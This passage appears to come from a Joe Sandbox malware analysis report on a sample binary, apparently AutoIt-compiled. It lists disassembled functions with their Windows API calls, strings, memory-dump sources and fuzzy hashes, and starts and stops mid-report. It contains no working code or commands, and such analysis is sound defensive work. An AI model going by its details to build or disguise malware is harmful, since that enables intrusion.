                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Variant$Copy$ContainedObject$ClearErrorLast_malloc
                              • String ID: AutoIt3GUI$Container
                              • API String ID: 2652923123-3941886329
                              • Opcode ID: 662e4c56437cfc6d97a34dfd7b47562ea5a254ee8eeedf1ae9933f7f1d1523bc
                              • Instruction ID: 68a0a4eee7c61d0b7a6187be62517e39d581686f9474de6139c94a20f06104f0
                              • Opcode Fuzzy Hash: 662e4c56437cfc6d97a34dfd7b47562ea5a254ee8eeedf1ae9933f7f1d1523bc
                              • Instruction Fuzzy Hash: 68A15D746006059FDB10DF69C881B6BB7E4FF88704F24896AEA09CB351EB75E841CB65
                              Function 0044F3F4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 185COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _memmove_strncmp
                              • String ID: U$\
                              • API String ID: 2666721431-100911408
                              • Opcode ID: a4fdddafd13fd2658ce45903ac35fff56edfd8920f85f030d52c4513684e2ed7
                              • Instruction ID: d3eef72359a6f1828d14317ef8b56b8bfbdd52bf5bc7584d89ae5f72f5b530e1
                              • Opcode Fuzzy Hash: a4fdddafd13fd2658ce45903ac35fff56edfd8920f85f030d52c4513684e2ed7
                              • Instruction Fuzzy Hash: 13718F70E00245CFEF24CFA9C9906AEFBF2AF99304F24826ED445A7345D778A946CB15
                              Function 00467215 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 181shareCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00410160: _wcslen.LIBCMT ref: 00410162
                                • Part of subcall function 00410160: _wcscpy.LIBCMT ref: 00410182
                              • __wcsnicmp.LIBCMT ref: 00467288
                              • WNetUseConnectionW.MPR(00000000,?,00000000,?,00000000,?,00000000,?), ref: 0046732E
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Connection__wcsnicmp_wcscpy_wcslen
                              • String ID: LPT
                              • API String ID: 3035604524-1350329615
                              • Opcode ID: df00d6e4b866e053a8717e7cd00b83b505630e9b2d4c108cf88e8e3b58e1c49d
                              • Instruction ID: cd88b7ab87c5f5a0ce5478f82160e7cdfa8c7cefd9f65e810a8a3337a25aa570
                              • Opcode Fuzzy Hash: df00d6e4b866e053a8717e7cd00b83b505630e9b2d4c108cf88e8e3b58e1c49d
                              • Instruction Fuzzy Hash: FB51E675A04204ABDB10DF54CC81FAFB7B5AB84708F10855EF905AB381E778EE85CB99
                              Function 0044F082 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 161COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _memmove
                              • String ID: \$h
                              • API String ID: 4104443479-677774858
                              • Opcode ID: a8076df7cf2e4be12816d18a067c44a6d5606508540493043604d0ea2b9ab827
                              • Instruction ID: de34c7bb2fe7d28e42aef252d9636822906cf09101983ade98a7172327fa6e04
                              • Opcode Fuzzy Hash: a8076df7cf2e4be12816d18a067c44a6d5606508540493043604d0ea2b9ab827
                              • Instruction Fuzzy Hash: F551A370E002098FDF18CFA9C980AAEB7F2BFC9304F28826AD405AB345D7389D45CB55
                              Function 0043999F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _memcmp
                              • String ID: &
                              • API String ID: 2931989736-1010288
                              • Opcode ID: a81d5415846f9cf6a42c700ef8b5aeadd08d018be41d214ef7d3fe054b701e0f
                              • Instruction ID: 5cd53615f07abd051f481cac668b43ae4088e938354b3ed51608dfeeaf990cc9
                              • Opcode Fuzzy Hash: a81d5415846f9cf6a42c700ef8b5aeadd08d018be41d214ef7d3fe054b701e0f
                              • Instruction Fuzzy Hash: EC517BB1A0011A9FDB18CF95D891ABFB7B5FF88300F14915AE815A7344D278AE42CBA4
                              Function 0044D3D5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _memmove
                              • String ID: \
                              • API String ID: 4104443479-2967466578
                              • Opcode ID: 59d63d8f709c00c8b633315d640480ed85dcad38184220530ca382b626518ab4
                              • Instruction ID: e0e732097d18f8f10327b86eac3a97b4532b2e4be511d275227a7a0ca48fbcca
                              • Opcode Fuzzy Hash: 59d63d8f709c00c8b633315d640480ed85dcad38184220530ca382b626518ab4
                              • Instruction Fuzzy Hash: 2451C570E002498FEF24CFA9C8902AEFBB2BF95314F28826BD45597385D7395D86CB45
                              Function 004667E1 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 114networkCOMMON
                              Download Yara Rule
                              APIs
                              • _wcslen.LIBCMT ref: 00466825
                              • InternetCrackUrlW.WININET(?,00000000,?), ref: 0046682F
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: CrackInternet_wcslen
                              • String ID: |
                              • API String ID: 596671847-2343686810
                              • Opcode ID: 629f28f3e202f2691df4b53306abf03f6cbb1f7e83fd6186c7c4399916927608
                              • Instruction ID: c4ea99685e293915e64884ba1c360efc28696701351dc191072b09a6dd262d67
                              • Opcode Fuzzy Hash: 629f28f3e202f2691df4b53306abf03f6cbb1f7e83fd6186c7c4399916927608
                              • Instruction Fuzzy Hash: B1415076E10209ABDB00EFA5D881BEEB7B8FF58314F00002AE604A7291D7757916CBE5
                              Function 0044835A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99windowCOMMON
                              Download Yara Rule
                              APIs
                              • SendMessageW.USER32(?,00001132,00000000,?), ref: 00448446
                              • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0044845F
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessageSend
                              • String ID: '
                              • API String ID: 3850602802-1997036262
                              • Opcode ID: 21874a52306f08f821648492a7afc6200e27140433d35547b734f0a4523aa872
                              • Instruction ID: ddf1801fc3b7a37e921bcadc6f33ff454999d78e89978ed9e0859c1643e2593c
                              • Opcode Fuzzy Hash: 21874a52306f08f821648492a7afc6200e27140433d35547b734f0a4523aa872
                              • Instruction Fuzzy Hash: 46418E71A002099FDB04CF98D880AEEB7B5FF59300F14816EED04AB341DB756952CFA5
                              Function 0040F850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89COMMON
                              Download Yara Rule
                              APIs
                              • _strlen.LIBCMT ref: 0040F858
                                • Part of subcall function 0040F880: _memmove.LIBCMT ref: 0040F8C9
                                • Part of subcall function 0040F880: _memmove.LIBCMT ref: 0040F8E3
                              • _sprintf.LIBCMT ref: 0040F9AE
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _memmove$_sprintf_strlen
                              • String ID: %02X
                              • API String ID: 1921645428-436463671
                              • Opcode ID: 767cb60b44986bc828a60f9d0ec6f7d4d26665b5612a1b4657e1e4afb2f114d1
                              • Instruction ID: e5a937a20bc973e7022889ba35624413ac66f4a4f80aeb0e2d5e31f1d02bff57
                              • Opcode Fuzzy Hash: 767cb60b44986bc828a60f9d0ec6f7d4d26665b5612a1b4657e1e4afb2f114d1
                              • Instruction Fuzzy Hash: 3E21287270021436D724B66E8C82FDAB39CAF55744F50007FF501A76C1EABCBA1983AD
                              Function 00451006 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75windowCOMMON
                              Download Yara Rule
                              APIs
                              • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0045109A
                              • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004510A8
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessageSend
                              • String ID: Combobox
                              • API String ID: 3850602802-2096851135
                              • Opcode ID: 1b8a1482498e59a9e674e96fd5fabaeacd2ddbb1f8abcd0cc85bd7074ae773d5
                              • Instruction ID: 528d1b292af097fd122ed4be4541c74d7578eb88e117dd2fe935d7ad7cd5862b
                              • Opcode Fuzzy Hash: 1b8a1482498e59a9e674e96fd5fabaeacd2ddbb1f8abcd0cc85bd7074ae773d5
                              • Instruction Fuzzy Hash: 0A21A5716102096BEB10DE68DC85FDB3398EB59734F20431AFA24A72D1D3B9EC958768
                              Function 00451321 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73windowCOMMON
                              Download Yara Rule
                              APIs
                              • GetWindowTextLengthW.USER32(00000000), ref: 0045134A
                              • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 0045135A
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: LengthMessageSendTextWindow
                              • String ID: edit
                              • API String ID: 2978978980-2167791130
                              • Opcode ID: 458bf78cb5436efb918afa53a1743a3d6784074bbf07c1e17ba5dfdf6e920bd9
                              • Instruction ID: 5a0e340068a0ba28dc4d1c90c86d8b7761b767731f3a1bde811fb9e5560a91dc
                              • Opcode Fuzzy Hash: 458bf78cb5436efb918afa53a1743a3d6784074bbf07c1e17ba5dfdf6e920bd9
                              • Instruction Fuzzy Hash: BB2190761102056BEB108F68D894FEB33ADEB89339F10471AFD64D36E1C279DC458B68
                              Function 00476CA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72sleepCOMMON
                              Download Yara Rule
                              APIs
                              • Sleep.KERNEL32(00000000), ref: 00476CB0
                              • GlobalMemoryStatusEx.KERNEL32 ref: 00476CC3
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: GlobalMemorySleepStatus
                              • String ID: @
                              • API String ID: 2783356886-2766056989
                              • Opcode ID: e336f3d3cf010bdb765bf3cd25e4316ec625df5f035adc8ff92848a8f4c166eb
                              • Instruction ID: 7847cb5f82098321599ebf91c79b9dffd15eff11c36c925ad8cec94a5f412430
                              • Opcode Fuzzy Hash: e336f3d3cf010bdb765bf3cd25e4316ec625df5f035adc8ff92848a8f4c166eb
                              • Instruction Fuzzy Hash: 67217130508F0497C211BF6AAC4AB5E7BB8AF84B15F01886DF9C8A14D1DF745528C76F
                              Function 00465225 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61networkCOMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: htonsinet_addr
                              • String ID: 255.255.255.255
                              • API String ID: 3832099526-2422070025
                              • Opcode ID: bffbf838f8b6926ef71edb3efae5563a838ccfa537518f0e0f8b175b1623bbd9
                              • Instruction ID: fb726eff09ff94cff080b531f734a3fd27281744828c6f3d0166551fa69e616e
                              • Opcode Fuzzy Hash: bffbf838f8b6926ef71edb3efae5563a838ccfa537518f0e0f8b175b1623bbd9
                              • Instruction Fuzzy Hash: 5211E732600304ABCF10DF69EC85FAA73A8EF45324F04455BF9049B392D635E4518B59
                              Function 0044256C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59networkCOMMON
                              Download Yara Rule
                              APIs
                              • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 004425F8
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: InternetOpen
                              • String ID: <local>
                              • API String ID: 2038078732-4266983199
                              • Opcode ID: 84bf365b150010c194f632228c20f1475d6fe654e04a12f862fc2198fde258ef
                              • Instruction ID: 93d8b03a482712ff69e4757b1f2b0d1c201104d099b6cd2898bf81ba059b6d15
                              • Opcode Fuzzy Hash: 84bf365b150010c194f632228c20f1475d6fe654e04a12f862fc2198fde258ef
                              • Instruction Fuzzy Hash: 9311C270680710BAF720CB548E62FBA77E8BB24B01F50844BF9429B6C0D6F4B944D7A9
                              Function 004321A4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __fread_nolock_memmove
                              • String ID: EA06
                              • API String ID: 1988441806-3962188686
                              • Opcode ID: e45c56eab20c3bcfe4a359df8a9ba3729120cfe0f4e9d091ae644268b7df8977
                              • Instruction ID: b3ef0f2836274d974f80c1c05754fec17bf4118f678989acdc9742ef3c25ced0
                              • Opcode Fuzzy Hash: e45c56eab20c3bcfe4a359df8a9ba3729120cfe0f4e9d091ae644268b7df8977
                              • Instruction Fuzzy Hash: 7D014971904228ABCF18DB99DC56EFEBBF49F55301F00859EF59793281D578A708CBA0
                              Function 00442BB4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _memmove
                              • String ID: u,D
                              • API String ID: 4104443479-3858472334
                              • Opcode ID: a09dc1741948e98e7df597fac067bc9d4c41fa761799cf9fa5b02ea5b7d8fd51
                              • Instruction ID: 1e149f93898fe9afff494952afced4f728167d7c2cca3c00b97e401526751dc1
                              • Opcode Fuzzy Hash: a09dc1741948e98e7df597fac067bc9d4c41fa761799cf9fa5b02ea5b7d8fd51
                              • Instruction Fuzzy Hash: 4FF04C722007045AE3149E6ADC41FD7B7ECDBD8714F50442EF74997241E1B8A9858764
                              Function 004560F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36windowCOMMON
                              Download Yara Rule
                              APIs
                              • SendMessageW.USER32(?,00001001,00000000,?), ref: 004560FE
                                • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                              • wsprintfW.USER32 ref: 0045612A
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessageSend_mallocwsprintf
                              • String ID: %d/%02d/%02d
                              • API String ID: 1262938277-328681919
                              • Opcode ID: 0791508f4d5d4d8a4d88f52051df625728301e413c657ab928a68c4181838543
